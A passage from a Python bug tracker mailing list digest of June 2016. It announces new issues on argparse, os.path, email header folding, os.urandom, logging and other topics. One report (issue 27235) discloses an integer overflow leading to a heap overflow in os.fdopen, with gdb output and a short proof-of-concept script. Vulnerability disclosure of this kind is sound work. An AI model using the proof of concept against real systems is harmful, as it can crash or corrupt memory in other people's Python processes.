When using nargs='*' with choices, it is impossible to specify 0 args: from argparse import ArgumentParser parser = ArgumentParser() parser.add_argument('foo', choices=['foo'], nargs='*') args = parser.parse_args([]) # <-- fails, error message below assert args.foo == [] # usage: args.py [-h] [{foo} [{foo} ...]] # args.py: error: argument foo: invalid choice: [] (choose from 'foo') The problem appears to be this block of code trying to validate `value` immediately after it sets it to `[]`: # when nargs='*' on a positional, if there were no command-line # args, use the default if it is anything other than None elif (not arg_strings and action.nargs == ZERO_OR_MORE and not action.option_strings): if action.default is not None: value = action.default else: value = arg_strings self._check_value(action, value) The fix seems to be as simple as moving the check under `if action.default is not None`. (NOTE: This would be also adequately solved by patches already attached to http://bugs.python.org/issue9625, however the minimal solution to this problem is simpler.) ---------- components: Library (Lib) messages: 267404 nosy: evan_ priority: normal severity: normal status: open title: argparse fails to parse [] when using choices and nargs='*' type: behavior versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 5 07:19:28 2016 From: report at bugs.python.org (Arno-Can Uestuensoez) Date: Sun, 05 Jun 2016 11:19:28 +0000 Subject: [New-bugs-announce] [issue27228] just for clearing: os.path.normpath("file://a") returns "file:/a" Message-ID: <1465125568.33.0.580386729971.issue27228@psf.upfronthosting.co.za> New submission from Arno-Can Uestuensoez: I am currently finishing a file system library and use 'os.path.normpath' for canonical input into match-operations. So already found Issue26329 - IEEE-1003.1-Chap 4.2 and written a comment. But I guess this issue should be handled seperately. Now have to deal by myself with the eventual prefix 'file://' for input, and guess it should be supported. I did not found a statement on this case, so issue this for clarification. The 'os.path.normpath' call simply replaces subsequent os.sep, when they are not leading as 1003.1 states. But how should the following examples be handled: file:////a => /a OR //a ??? file://///a => /a OK file:///a => /a OK ---------- assignee: docs at python components: Documentation messages: 267407 nosy: Fred Rolland, Winterflower, acue, docs at python, ebarry, lemburg, serhiy.storchaka priority: normal severity: normal status: open title: just for clearing: os.path.normpath("file://a") returns "file:/a" type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 5 09:05:40 2016 From: report at bugs.python.org (Alex Willmer) Date: Sun, 05 Jun 2016 13:05:40 +0000 Subject: [New-bugs-announce] [issue27229] In tree cross-build fails copying Include/graminit.h to itself Message-ID: <1465131940.98.0.80292566271.issue27229@psf.upfronthosting.co.za> New submission from Alex Willmer: While trying a cross compile of Python 3.6 I encountered the following alex at martha:~/src/cpython default? hg summary parent: 101753:31ad7885e2e5 Issue #27225: Fixed a reference leak in type_new when setting __new__ fails. branch: default commit: (clean) update: (current) alex at martha:~/src/cpython default? ./configure --build=x86_64-linux --host=arm-linux-gnueabihf --disable-ipv6 ac_cv_file__dev_ptc=no ac_cv_file__dev_ptmx=no checking for hg... found ... creating Makefile alex at martha:~/src/cpython default? make ... arm-linux-gnueabihf-gcc -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes Parser/acceler.o Parser/grammar1.o Parser/listnode.o Parser/node.o Parser/parser.o Parser/bitset.o Parser/metagrammar.o Parser/firstsets.o Parser/grammar.o Parser/pgen.o Objects/obmalloc.o Python/dynamic_annotations.o Python/mysnprintf.o Python/pyctype.o Parser/tokenizer_pgen.o Parser/printgrammar.o Parser/parsetok_pgen.o Parser/pgenmain.o -lpthread -ldl -lpthread -lutil -o Parser/pgen if test "yes" != "yes"; then \ Parser/pgen ./Grammar/Grammar Include/graminit.h Python/graminit.c; \ else \ cp ./Include/graminit.h Include/graminit.h; \ fi cp: './Include/graminit.h' and 'Include/graminit.h' are the same file Makefile:806: recipe for target 'Include/graminit.h' failed make: *** [Include/graminit.h] Error 1 The attached patch allows me to get past this error. I'm unsure if it's an appropriate fix or just a workaround. ---------- components: Cross-Build files: graminit-same-file.patch keywords: patch messages: 267417 nosy: Alex.Willmer priority: normal severity: normal status: open title: In tree cross-build fails copying Include/graminit.h to itself type: compile error versions: Python 3.6 Added file: http://bugs.python.org/file43235/graminit-same-file.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 5 12:32:03 2016 From: report at bugs.python.org (Andrew Lyasoff) Date: Sun, 05 Jun 2016 16:32:03 +0000 Subject: [New-bugs-announce] [issue27230] Calculation involving mpmath gives wrong result with Python 3.6 and correct result with 2.7 Message-ID: <1465144323.23.0.0323886668259.issue27230@psf.upfronthosting.co.za> New submission from Andrew Lyasoff: A particular numerical expression involving mpmath produces the wrong result when evaluated with Python 3.5 and produces the correct result when evaluated with Python 2.7. The expression involves the commonly used erf (error) function. ---------- components: IO files: special_f_test.ipynb messages: 267426 nosy: alyasoff priority: normal severity: normal status: open title: Calculation involving mpmath gives wrong result with Python 3.6 and correct result with 2.7 versions: Python 3.5 Added file: http://bugs.python.org/file43237/special_f_test.ipynb _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 5 12:35:39 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 05 Jun 2016 16:35:39 +0000 Subject: [New-bugs-announce] [issue27231] Support the fspath protocol in the posixpath module Message-ID: <1465144539.6.0.0510380371882.issue27231@psf.upfronthosting.co.za> New submission from Jelle Zijlstra: Various functions in posixpath.py need to accept os.PathLike objects. I will submit a patch. ---------- assignee: Jelle Zijlstra components: Library (Lib) messages: 267428 nosy: Jelle Zijlstra, ethan.furman priority: normal severity: normal status: open title: Support the fspath protocol in the posixpath module versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 5 12:58:05 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 05 Jun 2016 16:58:05 +0000 Subject: [New-bugs-announce] [issue27232] os.fspath() should not use repr() on error Message-ID: <1465145885.45.0.563591962736.issue27232@psf.upfronthosting.co.za> New submission from Jelle Zijlstra: The current implementation of os.fspath() outputs something like this if you call os.fspath(0): expected str, bytes or os.PathLike object, not This patch changes the output to: expected str, bytes or os.PathLike object, not int ---------- components: Library (Lib) files: fspath-exception.patch keywords: patch messages: 267432 nosy: Jelle Zijlstra, ethan.furman priority: normal severity: normal status: open title: os.fspath() should not use repr() on error versions: Python 3.6 Added file: http://bugs.python.org/file43239/fspath-exception.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 5 13:00:30 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 05 Jun 2016 17:00:30 +0000 Subject: [New-bugs-announce] [issue27233] Missing documentation for PyOS_FSPath Message-ID: <1465146030.9.0.386709465455.issue27233@psf.upfronthosting.co.za> New submission from Jelle Zijlstra: It should be added to the C API documentation. I plan on getting to this today. ---------- assignee: Jelle Zijlstra components: Documentation messages: 267433 nosy: Jelle Zijlstra, ethan.furman priority: normal severity: normal status: open title: Missing documentation for PyOS_FSPath versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 5 13:06:46 2016 From: report at bugs.python.org (Arno-Can Uestuensoez) Date: Sun, 05 Jun 2016 17:06:46 +0000 Subject: [New-bugs-announce] [issue27234] tuple - single value with comma is assigned as type tuple Message-ID: <1465146406.06.0.602143214773.issue27234@psf.upfronthosting.co.za> New submission from Arno-Can Uestuensoez: A single value terminated by a comma is assigned to be a tuple, even when missing parenthesis. a=(1) => a=1 OK/defined as a=(1,) => a=(1,) OK a=1, => a=(1,) ??? Is the latter intended? ------------------ In [4]: a=1, In [5]: print a (1,) In [6]: type(a) Out[6]: tuple ------------------- ---------- components: Interpreter Core messages: 267434 nosy: acue priority: normal severity: normal status: open title: tuple - single value with comma is assigned as type tuple type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 5 14:01:37 2016 From: report at bugs.python.org (Rustemzade Mehemmed) Date: Sun, 05 Jun 2016 18:01:37 +0000 Subject: [New-bugs-announce] [issue27235] Heap overflow occurred due to the int overflow Message-ID: <1465149697.95.0.775433257828.issue27235@psf.upfronthosting.co.za> New submission from Rustemzade Mehemmed: I have tested this vulnerability on the Python 2.7 and it absolutely affected :). Integer overflow produce in posix_fdopen function. If an attacker sent fdopen mode value larger than max integer value (2*32) to fdopen after integer overflow occurred. int fd; char *orgmode = "r"; int bufsize = -1; FILE *fp; PyObject *f; char *mode; if (!PyArg_ParseTuple(args, "i|si", &fd, &orgmode, &bufsize)) return NULL; /* Sanitize mode. See fileobject.c */ mode = PyMem_MALLOC(strlen(orgmode)+3); ... strcpy(mode, orgmode); os.fdopen(fd[, mode[, bufsize]]) fo = os.fdopen(fd, "r"*0xffffffff) 0x5e2595 <+86>: mov edi,eax => 0x5e2598 <+89>: call 0x416e50 (gdb) print /x $eax $1 = 0xffffffff after does addition of "add" instruction therefore overflow occured and => 0x5e259d <+94>: add eax,0x3 (gdb) print /x $eax $5 = 0x2 and memory allocate after buffer copy== > 0x5e25a1 <+98>: mov edi,eax 0x5e25a4 <+101>: call 0x48f793 <_PyMem_DebugMalloc> 0x5e25cb <+140>: mov esi,edx ... 0x5e25ce <+143>: mov edi,eax 0x5e25d1 <+146>: call 0x416b80 copy buffer strcpy(mode, orgmode); <=== overflow poc: #!/usr/bin/python import os, sys fd = os.open( "foo.txt", os.O_RDWR|os.O_CREAT ) fo = os.fdopen(fd, "r"*0xffffff) print "Closed the file successfully!!" ---------- messages: 267447 nosy: madness priority: normal severity: normal status: open title: Heap overflow occurred due to the int overflow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 5 15:43:25 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 05 Jun 2016 19:43:25 +0000 Subject: [New-bugs-announce] [issue27236] Add CHAINED_COMPARE_OP opcode Message-ID: <1465155805.46.0.0768541508675.issue27236@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: For now complex code is generated for chained comparing. $ echo "x = a < b > c < d" | ./python -m dis 1 0 LOAD_NAME 0 (a) 2 LOAD_NAME 1 (b) 4 DUP_TOP 6 ROT_THREE 8 COMPARE_OP 0 (<) 10 JUMP_IF_FALSE_OR_POP 28 12 LOAD_NAME 2 (c) 14 DUP_TOP 16 ROT_THREE 18 COMPARE_OP 4 (>) 20 JUMP_IF_FALSE_OR_POP 28 22 LOAD_NAME 3 (d) 24 COMPARE_OP 0 (<) 26 JUMP_FORWARD 4 (to 32) >> 28 ROT_TWO 30 POP_TOP >> 32 STORE_NAME 4 (x) 34 LOAD_CONST 0 (None) 36 RETURN_VALUE Proposed patch adds CHAINED_COMPARE_OP opcode that does all necessary stack manipulatios. Using it the generated code is simpler: $ echo "x = a < b > c < d" | ./python -m dis 1 0 LOAD_NAME 0 (a) 2 LOAD_NAME 1 (b) 4 CHAINED_COMPARE_OP 0 (<) 6 JUMP_IF_FALSE_OR_POP 18 8 LOAD_NAME 2 (c) 10 CHAINED_COMPARE_OP 4 (>) 12 JUMP_IF_FALSE_OR_POP 18 14 LOAD_NAME 3 (d) 16 COMPARE_OP 0 (<) >> 18 STORE_NAME 4 (x) 20 LOAD_CONST 0 (None) 22 RETURN_VALUE ---------- components: Interpreter Core files: chained_compare_op.patch keywords: patch messages: 267466 nosy: Demur Rumed, Mark.Shannon, serhiy.storchaka priority: normal severity: normal stage: patch review status: open title: Add CHAINED_COMPARE_OP opcode type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43247/chained_compare_op.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 5 20:06:03 2016 From: report at bugs.python.org (Rahul) Date: Mon, 06 Jun 2016 00:06:03 +0000 Subject: [New-bugs-announce] [issue27237] Kafka Python Consumer Messages gets truncated Message-ID: <1465171563.42.0.101406692034.issue27237@psf.upfronthosting.co.za> New submission from Rahul: Snippet code is below: from kafka import KafkaConsumer from kafka.client import KafkaClient from kafka.consumer import SimpleConsumer consumer = KafkaConsumer('eventdetails_ingestion' , group_id='1',bootstrap_servers=?xxxx:9092', max_partition_fetch_bytes=10555555) for msg in consumer: try: jValue = json.loads(str(msg.value)) except ValueError: fileErr.write(str(msg.value)+"\n") Steps: We send/produce large sets of messages to Kafka of around 20 to 30 KB size each messages in JSON format and producing around 200 messages / sec for 1 hour duration. We have 3 Kafka Brokers running and I am trying to consume the messages from these 3 Kafka Brokers from the same topic using the above code. The problem is that sometimes some of the messages gets truncated, I am not sure why it happen ? ---------- components: Library (Lib) messages: 267487 nosy: rgowda at threatmetrix.com priority: normal severity: normal status: open title: Kafka Python Consumer Messages gets truncated type: performance versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 5 20:38:06 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 06 Jun 2016 00:38:06 +0000 Subject: [New-bugs-announce] [issue27238] Bare except: usages in turtle.py Message-ID: <1465173486.36.0.354067909151.issue27238@psf.upfronthosting.co.za> New submission from Jelle Zijlstra: Will add a patch ---------- assignee: Jelle Zijlstra components: Library (Lib) messages: 267493 nosy: Jelle Zijlstra, serhiy.storchaka priority: normal severity: normal status: open title: Bare except: usages in turtle.py versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 5 22:57:34 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 06 Jun 2016 02:57:34 +0000 Subject: [New-bugs-announce] [issue27239] Make idlelib.macosx self-contained. Message-ID: <1465181854.1.0.00138868755932.issue27239@psf.upfronthosting.co.za> New submission from Terry J. Reedy: Lib/idlelib/macosx.py:8 initializes _tk_type to None. It next defines private function _initializeTkVariantTests, which in called in setupApp and which initializes _tk_type. Then follow 4 isXyzTk functins, which "assert _tk_type is not None". This is fine for IDLE because IDLE call setupApp on startup. This is not fine for testing. In general, tests do not and should not call setupApp. If a test happens to exercise one of the 11 (for now) isXyzTk calls occurring outside of macosx, the assert is triggered. The test writer must then discover to import and call the supposedly private _initializeTkVariantTests. I would prefer instead that maxosx be more self-contained, and initialize _tk_type as needed. _initializeTkVariantTests needs a Tk instance for this line. ws = root.tk.call('tk', 'windowingsystem') I would like to wrap that with root = tkinter.Tk() and root.destroy. If that cannot be done on import, then instead of deleting the asserts, replace them with conditional calls to the initialization function. ---------- assignee: terry.reedy messages: 267513 nosy: terry.reedy priority: normal severity: normal stage: test needed status: open title: Make idlelib.macosx self-contained. type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 6 06:25:59 2016 From: report at bugs.python.org (Leblond Emmanuel) Date: Mon, 06 Jun 2016 10:25:59 +0000 Subject: [New-bugs-announce] [issue27240] 'UnstructuredTokenList' object has no attribute '_fold_as_ew' Message-ID: <1465208759.2.0.0752415166741.issue27240@psf.upfronthosting.co.za> New submission from Leblond Emmanuel: The folding code for email headers crashes whenever it hits line _header_value_parser.py:432 given it try to call method `_fold_as_ew`. ``` (venv)? vigiechiro-api git:(in2p3) ? python test_mail.py Traceback (most recent call last): File "test_mail.py", line 36, in mail.send(msg) File "/home/emmanuel/projects/vigiechiro-api/venv/lib/python3.5/site-packages/flask_mail.py", line 492, in send message.send(connection) File "/home/emmanuel/projects/vigiechiro-api/venv/lib/python3.5/site-packages/flask_mail.py", line 427, in send connection.send(self) File "/home/emmanuel/projects/vigiechiro-api/venv/lib/python3.5/site-packages/flask_mail.py", line 190, in send message.as_bytes() if PY3 else message.as_string(), File "/home/emmanuel/projects/vigiechiro-api/venv/lib/python3.5/site-packages/flask_mail.py", line 385, in as_bytes return self._message().as_bytes() File "/usr/lib/python3.5/email/message.py", line 179, in as_bytes g.flatten(self, unixfrom=unixfrom) File "/usr/lib/python3.5/email/generator.py", line 115, in flatten self._write(msg) File "/usr/lib/python3.5/email/generator.py", line 195, in _write self._write_headers(msg) File "/usr/lib/python3.5/email/generator.py", line 422, in _write_headers self._fp.write(self.policy.fold_binary(h, v)) File "/usr/lib/python3.5/email/policy.py", line 190, in fold_binary folded = self._fold(name, value, refold_binary=self.cte_type=='7bit') File "/usr/lib/python3.5/email/policy.py", line 204, in _fold return self.header_factory(name, ''.join(lines)).fold(policy=self) File "/usr/lib/python3.5/email/headerregistry.py", line 255, in fold return header.fold(policy=policy) File "/usr/lib/python3.5/email/_header_value_parser.py", line 300, in fold self._fold(folded) File "/usr/lib/python3.5/email/_header_value_parser.py", line 1228, in _fold rest._fold(folded) File "/usr/lib/python3.5/email/_header_value_parser.py", line 432, in _fold part._fold_as_ew(folded) AttributeError: 'UnstructuredTokenList' object has no attribute '_fold_as_ew' > /usr/lib/python3.5/email/_header_value_parser.py(432)_fold() -> part._fold_as_ew(folded) ``` Given folding depends a lot on the processed value, this bug only trigger in very specific encoded headers (I've try to reproduce this bug with various values but only the one which originally made me find the bug worked so far). I've isolated the bug into a simple test case (see enclosed file). It seems this part of the code has been rewritten between Python2 and 3 (the file _header_value_parser.py doesn't exists in Python2). So unsurprisingly the bug doesn't trigger in Python2. Replacing `part._fold_as_ew(folded)` by `part._fold(folded)` seems to fix the bug, but given my poor knowledge of this code, this fix probably produce unwanted behaviors. ---------- components: email files: test_mail_2.py messages: 267525 nosy: Leblond Emmanuel, barry, r.david.murray priority: normal severity: normal status: open title: 'UnstructuredTokenList' object has no attribute '_fold_as_ew' versions: Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43257/test_mail_2.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 6 13:46:57 2016 From: report at bugs.python.org (Joe Jevnik) Date: Mon, 06 Jun 2016 17:46:57 +0000 Subject: [New-bugs-announce] [issue27241] Catch exceptions raised in pstats add (repl) Message-ID: <1465235217.03.0.206339762722.issue27241@psf.upfronthosting.co.za> New submission from Joe Jevnik: I was trying to add a file and accidently mistyped the name which crashed the repl session. I think it would be nicer to report the failure but bring me back to the prompt so I can decide what I would like to do. This patch catches any IOErrors that can be raised when adding a file in the repl, reports it to the user, and then returns them to the repl. ---------- components: Demos and Tools files: catch-pstats-add.patch keywords: patch messages: 267542 nosy: llllllllll priority: normal severity: normal status: open title: Catch exceptions raised in pstats add (repl) type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43262/catch-pstats-add.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 6 14:59:27 2016 From: report at bugs.python.org (Emanuel Barry) Date: Mon, 06 Jun 2016 18:59:27 +0000 Subject: [New-bugs-announce] [issue27242] Clarify the use cases of NotImplemented in the docs Message-ID: <1465239567.69.0.773832868585.issue27242@psf.upfronthosting.co.za> New submission from Emanuel Barry: The NotImplemented docs aren't explicit enough when it comes to where it can/should be used. Patch attached. ---------- assignee: docs at python components: Documentation files: NotImplemented_wording_1.patch keywords: patch messages: 267543 nosy: docs at python, ebarry priority: normal severity: normal stage: patch review status: open title: Clarify the use cases of NotImplemented in the docs type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43263/NotImplemented_wording_1.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 6 15:21:36 2016 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 06 Jun 2016 19:21:36 +0000 Subject: [New-bugs-announce] [issue27243] __aiter__ should return async iterator instead of awaitable Message-ID: <1465240896.52.0.994549894653.issue27243@psf.upfronthosting.co.za> New submission from Yury Selivanov: There is a small flaw in PEP 492 design -- __aiter__ should not return an awaitable object that resolves to an asynchronous iterator. It should return an asynchronous iterator directly. Let me explain this by showing some examples. I've discovered this while working on a new asynchronous generators PEP. Let's pretend that we have them already: if we have a 'yield' expression in an 'async def' function, the function becomes an "asynchronous generator function": async def foo(): await bar() yield 1 await baz() yield 2 # foo -- is an `asynchronous generator function` # foo() -- is an `asynchronous generator` If we iterate through "foo()", it will await on "bar()", yield "1", await on "baz()", and yield "2": >>> async for el in foo(): ... print(el) 1 2 If we decide to have a class with an __aiter__ that is an async generator, we'd write something like this: class Foo: async def __aiter__(self): await bar() yield 1 await baz() yield 2 However, with the current PEP 492 design, the above code would be invalid! The interpreter expects __aiter__ to return a coroutine, not an async generator. I'm still working on the PEP for async generators, targeting CPython 3.6. And once it is ready, it might still be rejected or deferred. But in any case, this PEP 492 flaw has to be fixed now, in 3.5.2 (since PEP 492 is provisional). The attached patch fixes the __aiter__ in a backwards compatible way: 1. ceval/GET_AITER opcode calls the __aiter__ method. 2. If the returned object has an '__anext__' method, GET_AITER silently wraps it in an awaitable, which is equivalent to the following coroutine: async def wrapper(aiter_result): return aiter_result 3. If the returned object does not have an '__anext__' method, a DeprecationWarning is raised. ---------- assignee: yselivanov components: Interpreter Core files: fix_aiter.patch keywords: patch messages: 267544 nosy: brett.cannon, gvanrossum, haypo, lukasz.langa, ncoghlan, yselivanov priority: release blocker severity: normal status: open title: __aiter__ should return async iterator instead of awaitable versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43264/fix_aiter.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 6 16:43:45 2016 From: report at bugs.python.org (Chris Withers) Date: Mon, 06 Jun 2016 20:43:45 +0000 Subject: [New-bugs-announce] [issue27244] print('; ; ') fails in pdb with SyntaxError Message-ID: <1465245825.04.0.474122067055.issue27244@psf.upfronthosting.co.za> New submission from Chris Withers: This doesn't seem right: (Pdb) ';;' *** SyntaxError: EOL while scanning string literal *** SyntaxError: EOL while scanning string literal (Pdb) p ';;' *** SyntaxError: EOL while scanning string literal *** SyntaxError: EOL while scanning string literal (Pdb) !print(';;') *** SyntaxError: EOL while scanning string literal *** SyntaxError: EOL while scanning string literal ---------- components: Library (Lib) messages: 267549 nosy: cjw296 priority: normal severity: normal status: open title: print(';;') fails in pdb with SyntaxError versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 6 21:40:32 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 07 Jun 2016 01:40:32 +0000 Subject: [New-bugs-announce] [issue27245] IDLE: Fix deletion of custom themes and key bindings Message-ID: <1465263632.45.0.499678988052.issue27245@psf.upfronthosting.co.za> New submission from Terry J. Reedy: Open IDLE by running from console or importing idlelib.idle in interactive Python window. In the IDLE Preferences dialog, create a new custom theme or key set. [Apply] or close with [OK]. Reopen, if necessary, select the new custom set as current, select Delete, and Apply or close. IDLE will delete the set and then try to read it. A warning message will appear in the console/interpreter for each item in the set that is had to replace with the default value. IDLE should replace the deleted set with one of the builtins before reading, or even better, allow and require deletion of something that is not current. ---------- messages: 267580 nosy: terry.reedy priority: normal severity: normal stage: test needed status: open title: IDLE: Fix deletion of custom themes and key bindings type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 00:39:43 2016 From: report at bugs.python.org (Harrison Chudleigh) Date: Tue, 07 Jun 2016 04:39:43 +0000 Subject: [New-bugs-announce] [issue27246] Keyboard Shortcuts Crash Idle Message-ID: <1465274383.08.0.0475025936215.issue27246@psf.upfronthosting.co.za> New submission from Harrison Chudleigh: When pressing Alt-E, Alt-I, Alt-N and Alt-U to create special characters in IDLE (the diacritics ?,?,?and?) the program crashed. ---------- components: IDLE messages: 267590 nosy: Harrison Chudleigh priority: normal severity: normal status: open title: Keyboard Shortcuts Crash Idle type: crash versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 04:24:36 2016 From: report at bugs.python.org (Muhammad Toufeeq Ockards) Date: Tue, 07 Jun 2016 08:24:36 +0000 Subject: [New-bugs-announce] [issue27247] telnetlib AttributeError: 'error' object has no attribute 'errno' (handling of select.error) Message-ID: <1465287876.51.0.228447119579.issue27247@psf.upfronthosting.co.za> New submission from Muhammad Toufeeq Ockards: I was using the telnetlib on linux in python 2.7 and ran into error that executed line 320 of https://hg.python.org/cpython/file/2.7/Lib/telnetlib.py ---------------------------------- 319: except select.error as e: 320: if e.errno == errno.EINTR: ------------------------------------ Inspecting select.error showed that it has no errno attribute. I opened up a python2.7 idle session on my computer and entered the following. --------------------------------------------------------- >>> import select >>> try: ... raise select.error ... except Exception as e: ... pass ... >>> e error() >>> dir(e) ['__class__', '__delattr__', '__dict__', '__doc__', '__format__', '__getattribute__', '__getitem__', '__getslice__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setstate__', '__sizeof__', '__str__', '__subclasshook__', '__unicode__', '__weakref__', 'args', 'message'] >>> e.errno Traceback (most recent call last): File "", line 1, in AttributeError: 'error' object has no attribute 'errno' >>> ------------------------------------------------------------- ---------- components: Library (Lib) messages: 267603 nosy: Muhammad Toufeeq Ockards priority: normal severity: normal status: open title: telnetlib AttributeError: 'error' object has no attribute 'errno' (handling of select.error) type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 05:27:24 2016 From: report at bugs.python.org (Xiang Zhang) Date: Tue, 07 Jun 2016 09:27:24 +0000 Subject: [New-bugs-announce] [issue27248] Possible refleaks in PyType_Ready in error condition Message-ID: <1465291644.02.0.339755831898.issue27248@psf.upfronthosting.co.za> New submission from Xiang Zhang: As the title, in add_* used in PyType_Ready, the reference counts are not decreased when adding them to dict fails. ---------- files: refleak_in_pytype_ready.patch keywords: patch messages: 267607 nosy: serhiy.storchaka, xiang.zhang priority: normal severity: normal status: open title: Possible refleaks in PyType_Ready in error condition Added file: http://bugs.python.org/file43276/refleak_in_pytype_ready.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 08:06:14 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 07 Jun 2016 12:06:14 +0000 Subject: [New-bugs-announce] [issue27249] Add os.urandom_info Message-ID: <1465301174.7.0.6272995241.issue27249@psf.upfronthosting.co.za> New submission from STINNER Victor: It seems like in some cases, you do need to know how os.urandom() generates random numbers. On Linux, using getrandom() to read /dev/urandom in blocking mode or reading from /dev/urandom give a different level of security if the urandom entropy pool is not feeded with enough entropy yet. See the issue #26839 for the background. ---------- messages: 267641 nosy: haypo priority: normal severity: normal status: open title: Add os.urandom_info versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 08:21:07 2016 From: report at bugs.python.org (STINNER Victor) Date: Tue, 07 Jun 2016 12:21:07 +0000 Subject: [New-bugs-announce] [issue27250] Add os.urandom_block() Message-ID: <1465302067.94.0.484576804121.issue27250@psf.upfronthosting.co.za> New submission from STINNER Victor: The change of the issue #26839 creates a long discussion around the behaviour of os.urandom() when the entropy pool is not seeded with enough entropy. On Python 2.7, os.urandom() doesn't block in this case. I expect that bytes are random, but not "random enough" to generate a cryptographic key. I propose to add a new os.urandom_block() function which is similar to os.urandom(), but with one single difference: don't fallback on reading /dev/urandom on Linux with the entropy pool is not initialized yet. In short, os.urandom() can be used for everything except generating cryptographic keys. os.urandom_block() is suitable for cryptographic keys. -- I expect that security experts would prefer the opposite: add a new os.pseudo_random() function and make os.urandom() blocking by default. Let me elaborate my rationale. Python is used in various areas. In most cases, random is not used for security purpose, but for game, simulation, numerical computation, etc. "random" term is large in Python: * random seed for the randomized hash function: Python SIPHASH requires 24 random bytes * importing the random modules immediatly instanciate a random.Random which is Mersenne Twister RNG which requires not less than 2500 random bytes These two users of random bytes blocked Python startup: see issue #26839. I consider that random is used in more cases for game, simulation, etc. than for security. That's why the secrets module was added to Python 3.6 rather than making the random module "more secure". https://lwn.net/Articles/659643/ ---------- messages: 267646 nosy: haypo priority: normal severity: normal status: open title: Add os.urandom_block() versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 11:45:38 2016 From: report at bugs.python.org (=?utf-8?q?Th=C3=A9o_Bueno?=) Date: Tue, 07 Jun 2016 15:45:38 +0000 Subject: [New-bugs-announce] [issue27251] TypeError in logging.HTTPHandler.emit; possible python 2 to 3 conversion issue Message-ID: <1465314338.49.0.176049462957.issue27251@psf.upfronthosting.co.za> New submission from Th?o Bueno: When trying to log a message with a registered HTTPHandler, using http authentication (by specifying a credentials tuple when constructing an HTTPHandler): logging/handlers.py, in HTTPHandler.emit: if self.credentials: import base64 s = ('u%s:%s' % self.credentials).encode('utf-8') s = 'Basic ' + base64.b64encode(s).strip() # TypeError: Can't convert 'bytes' object to str implicitly h.putheader('Authorization', s) It sounds like a python 2 to 3 conversion issue. I also want to point out that there is no test covering http authentication in HTTPHandler. ---------- components: Library (Lib) messages: 267698 nosy: munrek priority: normal severity: normal status: open title: TypeError in logging.HTTPHandler.emit; possible python 2 to 3 conversion issue versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 12:27:29 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 07 Jun 2016 16:27:29 +0000 Subject: [New-bugs-announce] [issue27252] Make dict views copyable Message-ID: <1465316849.69.0.0784684578474.issue27252@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: Proposed patch adds support of dict views in the copy module. Since dict views are immutable, copy.copy() just returns the same object. copy.deepcopy() returns a frozenset for the dict_keys object, a tuple for the dict_values object, and a dict_items object for the dict_items object. Only needed data is copied (keys for dict_keys, values for dict_values). ---------- components: Library (Lib) files: dict_views_copy.patch keywords: patch messages: 267701 nosy: gvanrossum, rhettinger, serhiy.storchaka priority: normal severity: normal stage: patch review status: open title: Make dict views copyable type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43280/dict_views_copy.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 7 13:35:13 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 07 Jun 2016 17:35:13 +0000 Subject: [New-bugs-announce] [issue27253] More efficient deepcopying of Mapping Message-ID: <1465320913.02.0.739523600127.issue27253@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: Mapping views supports copying and deepcopying by default (using pickle protocol). But copy.deepcopy() is not efficient for KeysView and ValuesView. It copies all keys and values, while KeysView 